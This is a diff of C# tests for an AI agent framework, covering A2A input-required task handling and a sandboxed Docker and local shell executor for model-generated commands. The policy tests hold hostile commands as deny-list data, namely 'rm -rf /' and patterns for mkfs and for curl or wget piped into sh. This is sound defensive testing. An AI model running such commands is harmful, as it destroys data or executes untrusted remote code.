        // Arrange — create agent version with OpenAPI tool using native Azure.AI.Projects SDK types.
@@ -493,6 +493,35 @@ public sealed class A2AAgentTests : IDisposable
        Assert.Contains("task-123", message.ReferenceTaskIds);
    }

+    [Fact]
+    public async Task RunAsync_WithInputRequiredTaskState_SetsTaskIdOnMessageAsync()
+    {
+        // Arrange
+        this._handler.ResponseToReturn = new SendMessageResponse
+        {
+            Message = new Message
+            {
+                MessageId = "response-456",
+                Role = Role.Agent,
+                Parts = [new Part { Text = "Booking confirmed" }]
+            }
+        };
+
+        var session = (A2AAgentSession)await this._agent.CreateSessionAsync();
+        session.TaskId = "task-123";
+        session.TaskState = TaskState.InputRequired;
+
+        var inputMessage = new ChatMessage(ChatRole.User, [new TextContent("New York to London")]);
+
+        // Act
+        await this._agent.RunAsync(inputMessage, session);
+
+        // Assert
+        var message = this._handler.CapturedSendMessageRequest?.Message;
+        Assert.Equal("task-123", message?.TaskId);
+        Assert.Null(message?.ReferenceTaskIds);
+    }
+
    [Fact]
    public async Task RunAsync_WithAgentTask_UpdatesSessionTaskIdAsync()
    {
@@ -573,6 +602,7 @@ public sealed class A2AAgentTests : IDisposable
    [InlineData(TaskState.Completed)]
    [InlineData(TaskState.Failed)]
    [InlineData(TaskState.Canceled)]
+    [InlineData(TaskState.InputRequired)]
    public async Task RunAsync_WithVariousTaskStates_ReturnsCorrectTokenAsync(TaskState taskState)
    {
        // Arrange
@@ -842,6 +872,38 @@ public sealed class A2AAgentTests : IDisposable
        Assert.Contains("task-123", message.ReferenceTaskIds);
    }

+    [Fact]
+    public async Task RunStreamingAsync_WithInputRequiredTaskState_SetsTaskIdOnMessageAsync()
+    {
+        // Arrange
+        this._handler.StreamingResponseToReturn = new StreamResponse
+        {
+            Message = new Message
+            {
+                MessageId = "response-456",
+                Role = Role.Agent,
+                Parts = [new Part { Text = "Booking confirmed" }]
+            }
+        };
+
+        var session = (A2AAgentSession)await this._agent.CreateSessionAsync();
+        session.TaskId = "task-123";
+        session.TaskState = TaskState.InputRequired;
+
+        var inputMessage = new ChatMessage(ChatRole.User, [new TextContent("New York to London")]);
+
+        // Act
+        await foreach (var _ in this._agent.RunStreamingAsync([inputMessage], session))
+        {
+            // Just iterate through to trigger the logic
+        }
+
+        // Assert
+        var message = this._handler.CapturedSendMessageRequest?.Message;
+        Assert.Equal("task-123", message?.TaskId);
+        Assert.Null(message?.ReferenceTaskIds);
+    }
+
    [Fact]
    public async Task RunStreamingAsync_WithAgentTask_UpdatesSessionTaskIdAsync()
    {
@@ -1004,6 +1066,50 @@ public sealed class A2AAgentTests : IDisposable
        Assert.Equal(TaskId, a2aSession.TaskId);
    }

+    [Fact]
+    public async Task RunStreamingAsync_WithInputRequiredStatusUpdate_YieldsStatusContentsAsync()
+    {
+        // Arrange
+        const string TaskId = "task-input-123";
+        const string ContextId = "ctx-input-456";
+
+        this._handler.StreamingResponseToReturn = new StreamResponse
+        {
+            StatusUpdate = new TaskStatusUpdateEvent
+            {
+                TaskId = TaskId,
+                ContextId = ContextId,
+                Status = new()
+                {
+                    State = TaskState.InputRequired,
+                    Message = new Message
+                    {
+                        Parts = [Part.FromText("Where would you like to fly?")]
+                    }
+                }
+            }
+        };
+
+        var session = await this._agent.CreateSessionAsync();
+
+        // Act
+        var updates = new List<AgentResponseUpdate>();
+        await foreach (var update in this._agent.RunStreamingAsync("I'd like to book a flight.", session))
+        {
+            updates.Add(update);
+        }
+
+        // Assert
+        Assert.Single(updates);
+
+        var update0 = updates[0];
+        Assert.Equal(TaskId, update0.ResponseId);
+        Assert.Null(update0.FinishReason);
+
+        var textContent = Assert.Single(update0.Contents.OfType<TextContent>());
+        Assert.Equal("Where would you like to fly?", textContent.Text);
+    }
+
    [Fact]
    public async Task RunStreamingAsync_WithTaskArtifactUpdateEvent_YieldsResponseUpdateAsync()
    {
@@ -2,6 +2,7 @@

 using System;
 using System.Collections.Generic;
+using System.Linq;
 using A2A;
 using Microsoft.Extensions.AI;

@@ -166,4 +167,79 @@ public sealed class A2AAgentTaskExtensionsTests
        Assert.Equal("content2", result[1].ToString());
        Assert.Equal("content3", result[2].ToString());
    }
+
+    [Fact]
+    public void ToChatMessages_WithInputRequiredStatus_IncludesStatusContents()
+    {
+        // Arrange
+        var agentTask = new AgentTask
+        {
+            Id = "task1",
+            Artifacts = null,
+            Status = new TaskStatus
+            {
+                State = TaskState.InputRequired,
+                Message = new Message { Parts = [Part.FromText("What is your destination?")] },
+            },
+        };
+
+        // Act
+        IList<ChatMessage>? result = agentTask.ToChatMessages();
+
+        // Assert
+        Assert.NotNull(result);
+        Assert.Single(result);
+        Assert.Equal(ChatRole.Assistant, result[0].Role);
+        var textContent = Assert.Single(result[0].Contents.OfType<TextContent>());
+        Assert.Equal("What is your destination?", textContent.Text);
+    }
+
+    [Fact]
+    public void ToAIContents_WithInputRequiredStatus_IncludesStatusContents()
+    {
+        // Arrange
+        var agentTask = new AgentTask
+        {
+            Id = "task1",
+            Artifacts = null,
+            Status = new TaskStatus
+            {
+                State = TaskState.InputRequired,
+                Message = new Message { Parts = [Part.FromText("What is your destination?")] },
+            },
+        };
+
+        // Act
+        IList<AIContent>? result = agentTask.ToAIContents();
+
+        // Assert
+        Assert.NotNull(result);
+        var textContent = Assert.Single(result.OfType<TextContent>());
+        Assert.Equal("What is your destination?", textContent.Text);
+    }
+
+    [Fact]
+    public void ToChatMessages_WithArtifactsAndInputRequired_IncludesBoth()
+    {
+        // Arrange
+        var agentTask = new AgentTask
+        {
+            Id = "task1",
+            Artifacts = [new Artifact { Parts = [Part.FromText("partial result")] }],
+            Status = new TaskStatus
+            {
+                State = TaskState.InputRequired,
+                Message = new Message { Parts = [Part.FromText("Need more info")] },
+            },
+        };
+
+        // Act
+        IList<ChatMessage>? result = agentTask.ToChatMessages();
+
+        // Assert
+        Assert.NotNull(result);
+        Assert.Equal(2, result.Count);
+        Assert.Equal("partial result", result[0].Text);
+        Assert.Single(result[1].Contents.OfType<TextContent>());
+    }
 }
@@ -0,0 +1,121 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+using System.Collections.Generic;
+using A2A;
+using Microsoft.Extensions.AI;
+
+namespace Microsoft.Agents.AI.A2A.UnitTests;
+
+/// <summary>
+/// Unit tests for the <see cref="AgentTaskStatusExtensions"/> class.
+/// </summary>
+public sealed class AgentTaskStatusExtensionsTests
+{
+    [Fact]
+    public void GetUserInputRequests_WithNullMessage_ReturnsNull()
+    {
+        // Arrange
+        var status = new TaskStatus
+        {
+            State = TaskState.InputRequired,
+            Message = null,
+        };
+
+        // Act
+        IList<AIContent>? result = status.GetUserInputRequests();
+
+        // Assert
+        Assert.Null(result);
+    }
+
+    [Fact]
+    public void GetUserInputRequests_WithNotInputRequiredState_ReturnsNull()
+    {
+        // Arrange
+        var status = new TaskStatus
+        {
+            State = TaskState.Completed,
+            Message = new Message { Parts = [Part.FromText("Some text")] },
+        };
+
+        // Act
+        IList<AIContent>? result = status.GetUserInputRequests();
+
+        // Assert
+        Assert.Null(result);
+    }
+
+    [Fact]
+    public void GetUserInputRequests_WithInputRequiredStateAndMultipleRequests_ReturnsAIContentList()
+    {
+        // Arrange
+        var status = new TaskStatus
+        {
+            State = TaskState.InputRequired,
+            Message = new Message
+            {
+                Parts =
+                [
+                    Part.FromText("First request"),
+                    Part.FromText("Second request"),
+                    Part.FromText("Third request")
+                ],
+            },
+        };
+
+        // Act
+        IList<AIContent>? result = status.GetUserInputRequests();
+
+        // Assert
+        Assert.NotNull(result);
+        Assert.Equal(3, result.Count);
+        Assert.Equal("First request", Assert.IsType<TextContent>(result[0]).Text);
+        Assert.Equal("Second request", Assert.IsType<TextContent>(result[1]).Text);
+        Assert.Equal("Third request", Assert.IsType<TextContent>(result[2]).Text);
+    }
+
+    [Fact]
+    public void GetUserInputRequests_WithTextParts_SetsRawRepresentationAndAdditionalPropertiesCorrectly()
+    {
+        // Arrange
+        var textPart = Part.FromText("Input request");
+        textPart.Metadata = new Dictionary<string, System.Text.Json.JsonElement>
+        {
+            { "key1", System.Text.Json.JsonSerializer.SerializeToElement("value1") },
+            { "key2", System.Text.Json.JsonSerializer.SerializeToElement("value2") }
+        };
+        var status = new TaskStatus
+        {
+            State = TaskState.InputRequired,
+            Message = new Message { Parts = [textPart] },
+        };
+
+        // Act
+        IList<AIContent>? result = status.GetUserInputRequests();
+
+        // Assert
+        Assert.NotNull(result);
+        var content = Assert.IsType<TextContent>(result[0]);
+        Assert.Equal(textPart, content.RawRepresentation);
+        Assert.NotNull(content.AdditionalProperties);
+        Assert.True(content.AdditionalProperties.ContainsKey("key1"));
+        Assert.True(content.AdditionalProperties.ContainsKey("key2"));
+    }
+
+    [Fact]
+    public void GetUserInputRequests_WithEmptyMessageParts_ReturnsNull()
+    {
+        // Arrange
+        var status = new TaskStatus
+        {
+            State = TaskState.InputRequired,
+            Message = new Message { Parts = [] },
+        };
+
+        // Act
+        IList<AIContent>? result = status.GetUserInputRequests();
+
+        // Assert
+        Assert.Null(result);
+    }
+}
@@ -442,6 +442,7 @@ public sealed class AnthropicBetaServiceExtensionsTests
        public TimeSpan? Timeout { get => throw new NotImplementedException(); init => throw new NotImplementedException(); }
        public string? ApiKey { get => throw new NotImplementedException(); init => throw new NotImplementedException(); }
        public string? AuthToken { get => throw new NotImplementedException(); init => throw new NotImplementedException(); }
+        public string? WebhookKey { get => throw new NotImplementedException(); init => throw new NotImplementedException(); }

        public IAnthropicClientWithRawResponse WithRawResponse => throw new NotImplementedException();

@@ -491,6 +492,12 @@ public sealed class AnthropicBetaServiceExtensionsTests

            public global::Anthropic.Services.Beta.IVaultService Vaults => throw new NotImplementedException();

+            public global::Anthropic.Services.Beta.IMemoryStoreService MemoryStores => throw new NotImplementedException();
+
+            public global::Anthropic.Services.Beta.IWebhookService Webhooks => throw new NotImplementedException();
+
+            public global::Anthropic.Services.Beta.IUserProfileService UserProfiles => throw new NotImplementedException();
+
            public IBetaService WithOptions(Func<ClientOptions, ClientOptions> modifier)
            {
                throw new NotImplementedException();
@@ -72,6 +72,7 @@ public sealed class AnthropicClientExtensionsTests
        public TimeSpan? Timeout { get => throw new NotImplementedException(); init => throw new NotImplementedException(); }
        public string? ApiKey { get => throw new NotImplementedException(); init => throw new NotImplementedException(); }
        public string? AuthToken { get => throw new NotImplementedException(); init => throw new NotImplementedException(); }
+        public string? WebhookKey { get => throw new NotImplementedException(); init => throw new NotImplementedException(); }

        public IAnthropicClientWithRawResponse WithRawResponse => throw new NotImplementedException();

@@ -0,0 +1,199 @@
+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Threading.Tasks;
+
+namespace Microsoft.Agents.AI.Tools.Shell.IntegrationTests;
+
+/// <summary>
+/// End-to-end tests that exercise <see cref="DockerShellExecutor"/> against a live
+/// Docker (or Podman) daemon. Tests auto-skip when no daemon is available, so
+/// they're safe to run in CI.
+/// </summary>
+/// <remarks>
+/// To run only these tests locally:
+/// <code>
+/// dotnet test --filter "Category=Integration&amp;FullyQualifiedName~DockerShellExecutorIntegrationTests"
+/// </code>
+/// or run the test exe directly with the trait filter.
+/// </remarks>
+[Trait("Category", "Integration")]
+public sealed class DockerShellExecutorIntegrationTests
+{
+    // Small, fast image that has bash. Pulled lazily on first run.
+    // Alpine ships only busybox sh, which the persistent shell session can't use.
+    private const string TestImage = "debian:stable-slim";
+
+    private static async Task<bool> EnsureDockerOrSkipAsync()
+    {
+        if (!await DockerShellExecutor.IsAvailableAsync().ConfigureAwait(false))
+        {
+            Assert.Skip("Docker (or Podman) daemon is not available on this machine.");
+            return false; // unreachable
+        }
+        return true;
+    }
+
+    [Fact]
+    public async Task IsAvailableAsync_ReturnsTrue_WhenDaemonRunningAsync()
+    {
+        await EnsureDockerOrSkipAsync();
+        Assert.True(await DockerShellExecutor.IsAvailableAsync());
+    }
+
+    [Fact]
+    public async Task Persistent_RunsBasicCommandAsync()
+    {
+        await EnsureDockerOrSkipAsync();
+
+        await using var tool = new DockerShellExecutor(new() { Image = TestImage, Mode = ShellMode.Persistent });
+        await tool.InitializeAsync();
+
+        var result = await tool.RunAsync("echo hello-from-docker");
+
+        Assert.Equal(0, result.ExitCode);
+        Assert.Contains("hello-from-docker", result.Stdout);
+    }
+
+    [Fact]
+    public async Task Persistent_PreservesStateAcrossCallsAsync()
+    {
+        await EnsureDockerOrSkipAsync();
+
+        await using var tool = new DockerShellExecutor(new() { Image = TestImage, Mode = ShellMode.Persistent });
+        await tool.InitializeAsync();
+
+        var set = await tool.RunAsync("export DEMO=persisted-12345");
+        Assert.Equal(0, set.ExitCode);
+
+        var get = await tool.RunAsync("echo $DEMO");
+        Assert.Equal(0, get.ExitCode);
+        Assert.Contains("persisted-12345", get.Stdout);
+    }
+
+    [Fact]
+    public async Task NetworkNone_BlocksOutboundConnectionsAsync()
+    {
+        await EnsureDockerOrSkipAsync();
+
+        await using var tool = new DockerShellExecutor(new() { Image = TestImage, Mode = ShellMode.Persistent /* network defaults to "none" */ });
+        await tool.InitializeAsync();
+
+        // Try to resolve a hostname; with --network none, even DNS should fail.
+        // Use getent (always present on debian) so we don't depend on optional tools.
+        var result = await tool.RunAsync("getent hosts example.com 2>&1; echo MARKER:$?");
+
+        Assert.Contains("MARKER:", result.Stdout);
+        // Non-zero status from getent proves DNS resolution (and therefore the
+        // network) was blocked.
+        Assert.DoesNotContain("MARKER:0", result.Stdout);
+    }
+
+    [Fact]
+    public async Task ReadOnlyRoot_PreventsWritesOutsideTmpAsync()
+    {
+        await EnsureDockerOrSkipAsync();
+
+        await using var tool = new DockerShellExecutor(new() { Image = TestImage, Mode = ShellMode.Persistent });
+        await tool.InitializeAsync();
+
+        var rootWrite = await tool.RunAsync("touch /should-not-exist 2>&1; echo CODE:$?");
+        Assert.Contains("CODE:", rootWrite.Stdout);
+        Assert.DoesNotContain("CODE:0", rootWrite.Stdout);
+
+        var tmpWrite = await tool.RunAsync("touch /tmp/ok && echo TMP_OK");
+        Assert.Equal(0, tmpWrite.ExitCode);
+        Assert.Contains("TMP_OK", tmpWrite.Stdout);
+    }
+
+    [Fact]
+    public async Task NonRootUser_RunsAsNobodyAsync()
+    {
+        await EnsureDockerOrSkipAsync();
+
+        await using var tool = new DockerShellExecutor(new() { Image = TestImage, Mode = ShellMode.Persistent });
+        await tool.InitializeAsync();
+
+        var result = await tool.RunAsync("id -u");
+
+        Assert.Equal(0, result.ExitCode);
+        // Default user is 65534:65534
+        Assert.Contains("65534", result.Stdout);
+    }
+
+    [Fact]
+    public async Task Stateless_RunsEachCommandInFreshContainerAsync()
+    {
+        await EnsureDockerOrSkipAsync();
+
+        await using var tool = new DockerShellExecutor(new() { Image = TestImage, Mode = ShellMode.Stateless });
+
+        var first = await tool.RunAsync("echo first; export STATE=set");
+        Assert.Equal(0, first.ExitCode);
+        Assert.Contains("first", first.Stdout);
+
+        // Stateless: env var must NOT survive
+        var second = await tool.RunAsync("echo \"second:[${STATE:-unset}]\"");
+        Assert.Equal(0, second.ExitCode);
+        Assert.Contains("second:[unset]", second.Stdout);
+    }
+
+    [Fact]
+    public async Task HostWorkdir_MountsAndIsReadOnlyByDefaultAsync()
+    {
+        await EnsureDockerOrSkipAsync();
+
+        var hostDir = Path.Combine(Path.GetTempPath(), "af-docker-shell-it-" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(hostDir);
+        var sentinel = Path.Combine(hostDir, "from-host.txt");
+        await File.WriteAllTextAsync(sentinel, "host-content");
+
+        try
+        {
+            await using var tool = new DockerShellExecutor(new()
+            {
+                Image = TestImage,
+                Mode = ShellMode.Persistent,
+                HostWorkdir = hostDir,
+                MountReadonly = true,
+            });
+            await tool.InitializeAsync();
+
+            var read = await tool.RunAsync("cat /workspace/from-host.txt");
+            Assert.Equal(0, read.ExitCode);
+            Assert.Contains("host-content", read.Stdout);
+
+            // Read-only mount: write must fail
+            var write = await tool.RunAsync("echo bad > /workspace/should-fail 2>&1; echo CODE:$?");
+            Assert.DoesNotContain("CODE:0", write.Stdout);
+        }
+        finally
+        {
+            try { Directory.Delete(hostDir, recursive: true); } catch { /* best-effort cleanup */ }
+        }
+    }
+
+    [Fact]
+    public async Task EnvironmentVariables_ArePassedThroughAsync()
+    {
+        await EnsureDockerOrSkipAsync();
+
+        await using var tool = new DockerShellExecutor(new()
+        {
+            Image = TestImage,
+            Mode = ShellMode.Persistent,
+            Environment = new Dictionary<string, string>
+            {
+                ["INJECTED_VAR"] = "injected-value-7777",
+            },
+        });
+        await tool.InitializeAsync();
+
+        var result = await tool.RunAsync("echo $INJECTED_VAR");
+
+        Assert.Equal(0, result.ExitCode);
+        Assert.Contains("injected-value-7777", result.Stdout);
+    }
+}
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+<Project Sdk="Microsoft.NET.Sdk">
+
+  <PropertyGroup>
+    <!-- Override the default tests TFM list because the package itself only targets modern TFMs. -->
+    <TargetFrameworks>net10.0</TargetFrameworks>
+  </PropertyGroup>
+
+  <ItemGroup>
+    <ProjectReference Include="..\..\src\Microsoft.Agents.AI.Tools.Shell\Microsoft.Agents.AI.Tools.Shell.csproj" />
+  </ItemGroup>
+
+</Project>
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+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading.Tasks;
+using Microsoft.Extensions.AI;
+
+namespace Microsoft.Agents.AI.Tools.Shell.UnitTests;
+
+/// <summary>
+/// Tests for the side-effect-free argv builders on <see cref="DockerShellExecutor"/>.
+/// These don't require a Docker daemon to run.
+/// </summary>
+public sealed class DockerShellExecutorTests
+{
+    [Fact]
+    public void BuildRunArgv_EmitsRestrictiveDefaults()
+    {
+        var argv = DockerShellExecutor.BuildRunArgv(
+            binary: "docker",
+            image: "alpine:3.19",
+            containerName: "af-shell-test",
+            user: ContainerUser.Default,
+            network: "none",
+            memoryBytes: 256L * 1024 * 1024,
+            pidsLimit: 64,
+            workdir: "/workspace",
+            hostWorkdir: null,
+            mountReadonly: true,
+            readOnlyRoot: true,
+            extraEnv: null,
+            extraArgs: null);
+
+        Assert.Equal("docker", argv[0]);
+        Assert.Equal("run", argv[1]);
+        Assert.Contains("-d", argv);
+        Assert.Contains("--rm", argv);
+        Assert.Contains("--network", argv);
+        Assert.Contains("none", argv);
+        Assert.Contains("--cap-drop", argv);
+        Assert.Contains("ALL", argv);
+        Assert.Contains("--security-opt", argv);
+        Assert.Contains("no-new-privileges", argv);
+        Assert.Contains("--read-only", argv);
+        Assert.Contains("--tmpfs", argv);
+        // Image, then sleep infinity at the end.
+        Assert.Equal("alpine:3.19", argv[argv.Count - 3]);
+        Assert.Equal("sleep", argv[argv.Count - 2]);
+        Assert.Equal("infinity", argv[argv.Count - 1]);
+    }
+
+    [Fact]
+    public void BuildRunArgv_HostWorkdir_AddsVolumeMount()
+    {
+        var argv = DockerShellExecutor.BuildRunArgv(
+            binary: "docker",
+            image: "alpine:3.19",
+            containerName: "af-shell-test",
+            user: new ContainerUser("1000", "1000"),
+            network: "none",
+            memoryBytes: 256L * 1024 * 1024,
+            pidsLimit: 64,
+            workdir: "/workspace",
+            hostWorkdir: "/tmp/proj",
+            mountReadonly: false,
+            readOnlyRoot: false,
+            extraEnv: null,
+            extraArgs: null);
+
+        var idx = argv.ToList().IndexOf("-v");
+        Assert.True(idx >= 0, "expected -v flag");
+        Assert.Equal("/tmp/proj:/workspace:rw", argv[idx + 1]);
+        Assert.DoesNotContain("--read-only", argv);
+    }
+
+    [Fact]
+    public void BuildRunArgv_HostWorkdir_DefaultsToReadonly()
+    {
+        var argv = DockerShellExecutor.BuildRunArgv(
+            binary: "docker",
+            image: "alpine:3.19",
+            containerName: "x",
+            user: new ContainerUser("1000", "1000"),
+            network: "none",
+            memoryBytes: 256L * 1024 * 1024,
+            pidsLimit: 64,
+            workdir: "/workspace",
+            hostWorkdir: "/host/path",
+            mountReadonly: true,
+            readOnlyRoot: true,
+            extraEnv: null,
+            extraArgs: null);
+
+        var list = argv.ToList();
+        var idx = list.IndexOf("-v");
+        Assert.Equal("/host/path:/workspace:ro", argv[idx + 1]);
+    }
+
+    [Fact]
+    public void BuildRunArgv_EnvAndExtraArgs_AreAppended()
+    {
+        var env = new Dictionary<string, string> { ["LOG"] = "1", ["MODE"] = "ci" };
+        var extra = new[] { "--label", "owner=test" };
+        var argv = DockerShellExecutor.BuildRunArgv(
+            binary: "docker",
+            image: "alpine:3.19",
+            containerName: "x",
+            user: new ContainerUser("1000", "1000"),
+            network: "none",
+            memoryBytes: 256L * 1024 * 1024,
+            pidsLimit: 64,
+            workdir: "/workspace",
+            hostWorkdir: null,
+            mountReadonly: true,
+            readOnlyRoot: true,
+            extraEnv: env,
+            extraArgs: extra);
+
+        var list = argv.ToList();
+        Assert.Contains("LOG=1", list);
+        Assert.Contains("MODE=ci", list);
+        Assert.Contains("--label", list);
+        Assert.Contains("owner=test", list);
+    }
+
+    private static readonly string[] s_expectedInteractive = new[] { "docker", "exec", "-i", "af-shell-x", "bash", "--noprofile", "--norc" };
+
+    [Fact]
+    public void BuildExecArgv_EmitsBashNoProfileNoRc()
+    {
+        var argv = DockerShellExecutor.BuildExecArgv("docker", "af-shell-x");
+        Assert.Equal(s_expectedInteractive, argv);
+    }
+
+    [Fact]
+    public async Task Ctor_GeneratesUniqueContainerNameAsync()
+    {
+        await using var t1 = new DockerShellExecutor(new() { Mode = ShellMode.Stateless });
+        await using var t2 = new DockerShellExecutor(new() { Mode = ShellMode.Stateless });
+        Assert.StartsWith("af-shell-", t1.ContainerName, StringComparison.Ordinal);
+        Assert.StartsWith("af-shell-", t2.ContainerName, StringComparison.Ordinal);
+        Assert.NotEqual(t1.ContainerName, t2.ContainerName);
+    }
+
+    [Fact]
+    public async Task Ctor_RespectsExplicitContainerNameAsync()
+    {
+        await using var t = new DockerShellExecutor(new() { ContainerName = "my-explicit-name", Mode = ShellMode.Stateless });
+        Assert.Equal("my-explicit-name", t.ContainerName);
+    }
+
+    [Fact]
+    public async Task ShellExecutor_DockerShellTool_ImplementsInterfaceAsync()
+    {
+        await using var t = new DockerShellExecutor(new() { Mode = ShellMode.Stateless });
+        ShellExecutor executor = t;
+        Assert.NotNull(executor);
+    }
+
+    [Fact]
+    public async Task AsAIFunction_DefaultRequireApproval_IsApprovalGatedAsync()
+    {
+        // requireApproval defaults to null, which now always wraps in
+        // ApprovalRequiredAIFunction — container configuration alone is
+        // not a sufficient signal to safely auto-execute model-generated
+        // commands, so the caller must explicitly opt out.
+        await using var t = new DockerShellExecutor(new() { Mode = ShellMode.Stateless });
+        var fn = t.AsAIFunction();
+        Assert.IsType<ApprovalRequiredAIFunction>(fn);
+        Assert.Equal("run_shell", fn.Name);
+    }
+
+    [Fact]
+    public async Task AsAIFunction_OptInApproval_WrapsInApprovalRequiredAsync()
+    {
+        await using var t = new DockerShellExecutor(new() { Mode = ShellMode.Stateless });
+        var fn = t.AsAIFunction(requireApproval: true);
+        Assert.IsType<ApprovalRequiredAIFunction>(fn);
+    }
+
+    [Fact]
+    public async Task AsAIFunction_ExplicitOptOut_IsNotApprovalGatedAsync()
+    {
+        await using var t = new DockerShellExecutor(new()
+        {
+            Mode = ShellMode.Stateless,
+            Network = "host",
+        });
+        var fn = t.AsAIFunction(requireApproval: false);
+        Assert.IsNotType<ApprovalRequiredAIFunction>(fn);
+    }
+
+    [Fact]
+    public async Task IsAvailableAsync_NonExistentBinary_ReturnsFalseAsync()
+    {
+        var ok = await DockerShellExecutor.IsAvailableAsync(binary: "definitely-not-a-real-binary-xyz123");
+        Assert.False(ok);
+    }
+
+    [Fact]
+    public async Task RunAsync_RejectedCommand_ThrowsShellCommandRejectedAsync()
+    {
+        // Pure policy path: the policy check runs before any docker invocation,
+        // so this exercises rejection without needing a Docker daemon.
+        await using var t = new DockerShellExecutor(new()
+        {
+            Mode = ShellMode.Stateless,
+            Policy = new ShellPolicy(denyList: [@"\brm\s+-rf?\s+[\/]"]),
+        });
+        await Assert.ThrowsAsync<ShellCommandRejectedException>(
+            () => t.RunAsync("rm -rf /"));
+    }
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+namespace Microsoft.Agents.AI.Tools.Shell.UnitTests;
+
+/// <summary>
+/// Coverage for <see cref="HeadTailBuffer"/>, the bounded stdout/stderr accumulator
+/// shared by <see cref="LocalShellExecutor"/> and <see cref="DockerShellExecutor"/>.
+/// </summary>
+public sealed class HeadTailBufferTests
+{
+    [Fact]
+    public void Append_BelowCap_RoundTripsExactInput()
+    {
+        var buf = new HeadTailBuffer(cap: 1024);
+        buf.AppendLine("hello");
+        buf.AppendLine("world");
+
+        var (text, truncated) = buf.ToFinalString();
+
+        Assert.False(truncated);
+        Assert.Equal("hello\nworld\n", text);
+    }
+
+    [Fact]
+    public void Append_ManyLines_StaysBoundedAndRetainsHeadAndTail()
+    {
+        // Push roughly 10 MiB through a 4 KiB cap.
+        var buf = new HeadTailBuffer(cap: 4096);
+        for (var i = 0; i < 100_000; i++)
+        {
+            buf.AppendLine($"line {i:D6}");
+        }
+
+        var (text, truncated) = buf.ToFinalString();
+
+        Assert.True(truncated);
+        // Result must respect the byte cap (allow some overhead for the marker line).
+        var byteCount = System.Text.Encoding.UTF8.GetByteCount(text);
+        Assert.True(byteCount <= 4096 + 128, $"Result was {byteCount} bytes, expected <= ~{4096 + 128}");
+        Assert.Contains("line 000000", text, System.StringComparison.Ordinal);
+        Assert.Contains("[... truncated", text, System.StringComparison.Ordinal);
+        Assert.Contains("line 099999", text, System.StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Append_HugeSingleLine_DoesNotAccumulateUnbounded()
+    {
+        // Worst-case: a single line that is much larger than the cap — the
+        // buffer must not grow without bound while we're still streaming.
+        var buf = new HeadTailBuffer(cap: 1024);
+        var chunk = new string('x', 10_000);
+        for (var i = 0; i < 100; i++)
+        {
+            buf.AppendLine(chunk);
+        }
+
+        var (text, truncated) = buf.ToFinalString();
+
+        Assert.True(truncated);
+        // The exact upper bound depends on marker formatting, but it must be far
+        // less than the ~1 MiB total of streamed input.
+        var byteCount = System.Text.Encoding.UTF8.GetByteCount(text);
+        Assert.True(byteCount < 4096, $"Result was {byteCount} bytes, expected < 4096");
+    }
+
+    [Fact]
+    public void Append_MultiByteUtf8_RespectsByteBudgetAndNeverSplitsRunes()
+    {
+        // Each "🔥" is 4 UTF-8 bytes (and 2 UTF-16 code units). A char-based
+        // buffer using Queue<char> would happily split a surrogate pair when
+        // capacity ran out, leaving an unpaired surrogate (U+FFFD on decode).
+        var buf = new HeadTailBuffer(cap: 32);
+        for (var i = 0; i < 200; i++)
+        {
+            buf.AppendLine("🔥🔥🔥🔥🔥");
+        }
+
+        var (text, truncated) = buf.ToFinalString();
+
+        Assert.True(truncated);
+
+        // Result must round-trip through UTF-8 unchanged: no rune was split.
+        var roundTripped = System.Text.Encoding.UTF8.GetString(System.Text.Encoding.UTF8.GetBytes(text));
+        Assert.Equal(text, roundTripped);
+
+        Assert.DoesNotContain("\uFFFD", text);
+    }
+
+    [Fact]
+    public void Append_OddCap_RoundTripsExactlyAtCapWithoutDropping()
+    {
+        // With the previous design (cap/2 for both halves), an odd cap could
+        // drop a byte while still reporting truncated == false. Verify that an
+        // input whose UTF-8 size is exactly `cap` round-trips losslessly.
+        const string Input = "ABCDE"; // 5 bytes
+        var buf = new HeadTailBuffer(cap: 6);
+        buf.AppendLine(Input); // 5 + '\n' = 6 bytes, exactly at cap
+        var (text, truncated) = buf.ToFinalString();
+
+        Assert.False(truncated);
+        Assert.Equal(Input + "\n", text);
+    }
+
+    [Fact]
+    public void Append_OddCap_AtCap_NoSilentDataDrop()
+    {
+        // Reviewer's exact scenario: cap=5. Push exactly 5 bytes of input.
+        // halfCap-based design would silently drop a byte while reporting
+        // truncated == false. With separate head/tail budgets, all 5 bytes
+        // must be retained.
+        var buf = new HeadTailBuffer(cap: 5);
+        // AppendLine adds a trailing newline, so feed 4 chars to land at exactly 5 bytes.
+        buf.AppendLine("ABCD");
+        var (text, truncated) = buf.ToFinalString();
+
+        Assert.False(truncated);
+        Assert.Equal("ABCD\n", text);
+    }
+}
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+// Copyright (c) Microsoft. All rights reserved.
+
+using System;
+using System.Runtime.InteropServices;
+using System.Threading.Tasks;
+using Microsoft.Extensions.AI;
+
+namespace Microsoft.Agents.AI.Tools.Shell.UnitTests;
+
+/// <summary>
+/// Smoke + behavior tests for <see cref="LocalShellExecutor"/> and <see cref="ShellPolicy"/>.
+/// </summary>
+public sealed class LocalShellExecutorTests
+{
+    // ShellPolicy ships with no default patterns. Tests that exercise
+    // the deny-list mechanism supply their own patterns; this mirrors how
+    // an operator would configure the policy in practice.
+    private static readonly string[] s_destructiveRmPatterns =
+    [
+        @"\brm\s+-rf?\s+[\/]",
+        @"\bmkfs(\.\w+)?\b",
+        @"\bcurl\s+[^|]*\|\s*sh\b",
+        @"\bwget\s+[^|]*\|\s*sh\b",
+        @"\bRemove-Item\s+.*-Recurse",
+        @"\bshutdown\b",
+        @"\breboot\b",
+        @"\bFormat-Volume\b",
+    ];
+
+    [Fact]
+    public void Policy_DenyList_BlocksDestructiveRm()
+    {
+        var policy = new ShellPolicy(denyList: s_destructiveRmPatterns);
+        var decision = policy.Evaluate(new ShellRequest("rm -rf /"));
+        Assert.False(decision.Allowed);
+        Assert.Contains("deny pattern", decision.Reason ?? string.Empty, StringComparison.OrdinalIgnoreCase);
+    }
+
+    [Fact]
+    public void Policy_AllowList_OverridesDeny()
+    {
+        var policy = new ShellPolicy(
+            allowList: ["^echo "],
+            denyList: ["echo"]);
+        var decision = policy.Evaluate(new ShellRequest("echo hello"));
+        Assert.True(decision.Allowed);
+    }
+
+    [Fact]
